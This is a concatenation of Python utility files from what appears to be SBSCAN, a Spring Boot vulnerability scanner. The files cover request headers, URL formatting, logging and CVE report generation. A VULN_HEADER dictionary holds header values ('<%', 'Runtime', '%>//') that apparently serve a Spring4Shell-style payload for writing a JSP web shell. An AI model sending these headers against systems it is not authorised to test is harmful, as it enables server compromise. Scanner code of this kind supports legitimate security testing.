    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon/3.0)",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0"
]

DEFAULT_HEADER = {
    "User-Agent": random.choice(USER_AGENTS),
    "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
    "Cookie": "rememberMe=int",
    "Accept": "text/html"

}

VULN_HEADER = {
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%",
    "DNT": "1",
    "Content-Type": "application/x-www-form-urlencoded"
}

utils/custom_headers.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     format_utils.py
   Description :
   Author :       sule01u
   date：          2023/10/5
"""
from urllib.parse import urlparse
from utils.logging_config import configure_logger
logger = configure_logger(__name__)  # 使用自定义日志配


def format_url(url):
    """
    格式化url
    """
    if not url.startswith(('http://', 'https://')):
        url = ('http://' + url).rstrip("/") + "/"
    if not is_valid_url(url):
        logger.error(f"Error: '{url}' is not a valid URL format.")
        return None

    return url


def is_valid_url(url):
    """
    验证url格式有效性
    """
    try:
        result = urlparse(url)
        # 一个有效的URL应该有scheme(如http)和netloc(如www.baidu.com)
        return all([result.scheme, result.netloc])
    except ValueError:
        return False


def format_proxy(proxy):
    """
    格式化proxy
    """
    formated_proxy = format_url(proxy)
    if not formated_proxy:
        return {}
    result = urlparse(formated_proxy)
    return {
        "http": f"http://{result.netloc}",
        "https": f"https://{result.netloc}"
    }

utils/format_utils.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     logging_config.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import logging
import os

LOG_LEVELS = {
    'debug': logging.DEBUG,
    'info': logging.INFO,
    'warning': logging.WARNING,
    'error': logging.ERROR,
    'critical': logging.CRITICAL
}

LOG_FORMAT = '%(asctime)s - %(name)s - %(levelname)s - [%(funcName)s:%(lineno)d] - %(message)s'

# 项目统一的日志配置
DEFAULT_LOG_LEVEL = "error"
DEFAULT_OUTPUT_MODE = 'file'


def configure_logger(name, level=None, output_mode=None):
    """
    配置日志器并返回一个日志实例
    """

    # 如果为单个脚本没有设置配置，则使用项目的统一配置
    log_level = level if level else DEFAULT_LOG_LEVEL
    log_output_mode = output_mode if output_mode else DEFAULT_OUTPUT_MODE

    # Ensure that the logging directory exists
    if not os.path.exists('logs'):
        os.makedirs('logs')

    logger = logging.getLogger(name)
    logger.setLevel(LOG_LEVELS.get(log_level, logging.INFO))
    logger.propagate = False

    formatter = logging.Formatter(LOG_FORMAT)

    # Configure console logging
    if log_output_mode in ('console', 'both'):
        console_handler = logging.StreamHandler()
        console_handler.setFormatter(formatter)
        logger.addHandler(console_handler)

    # Configure file logging
    if log_output_mode in ('file', 'both'):
        file_handler = logging.FileHandler('logs/sbscan.log')
        file_handler.setFormatter(formatter)
        logger.addHandler(file_handler)

    return logger

utils/logging_config.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     repoter.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
from datetime import datetime
import os
import json
from rich import box
from rich.console import Console
from rich.table import Table
from utils.logging_config import configure_logger

logger = configure_logger(__name__)


class ReportGenerator:
    def __init__(self, output_folder='reports', quiet=False):
        self.quiet = quiet
        self.report_data = []
        self.output_folder = output_folder
        self.console = Console()
        if not os.path.exists(self.output_folder):
            os.makedirs(self.output_folder)

    def generate(self, url, is_spring, detected_paths, found_cves):
        """
        检测报告生成
        """
        report_entry = {
            'url': url,
            'is_spring': is_spring,
            'detected_paths': detected_paths,
            'found_cves': found_cves
        }
        if (self.quiet and (detected_paths or found_cves)) or not self.quiet:
            self._display_report(url, is_spring, detected_paths, found_cves)
            self.report_data.append(report_entry)

    def _display_report(self, url, is_spring, paths, cves):
        """
        输出检测报告到控制台
        """
        table = Table(show_header=True, header_style="bold magenta", box=box.ROUNDED)
        table.add_column("URL", style="cyan")
        table.add_column("IS_SPRING", style="cyan")
        table.add_column("Detected Paths", style="green")
        table.add_column("Detected CVEs", style="red")

        cve_str = "\n".join([cve['CVE_ID'] + ": " + cve['Details'] for cve in cves]) if cves else "None"
        path_str = "\n".join(paths) if paths else "None"

        table.add_row(url, str(is_spring), path_str, cve_str)
        self.console.print(table)

    def save_report_to_file(self):
        """
        保存检测报告到文件
        """
        if not self.report_data:
            logger.warning("没有生成任何报告内容。")
            return 

        timestamp = datetime.now().strftime('%Y%m%d_%H%M')
        filename = os.path.join(self.output_folder, f'report_{timestamp}.json')
        with open(filename, 'w') as file:
            json.dump(self.report_data, file, indent=4)
        self.console.print(f"报告已保存到 [bold cyan]{filename}[/bold cyan]")

    def get_report_data(self):
        return self.report_data

utils/reporter.py
sule01u/SBSCAN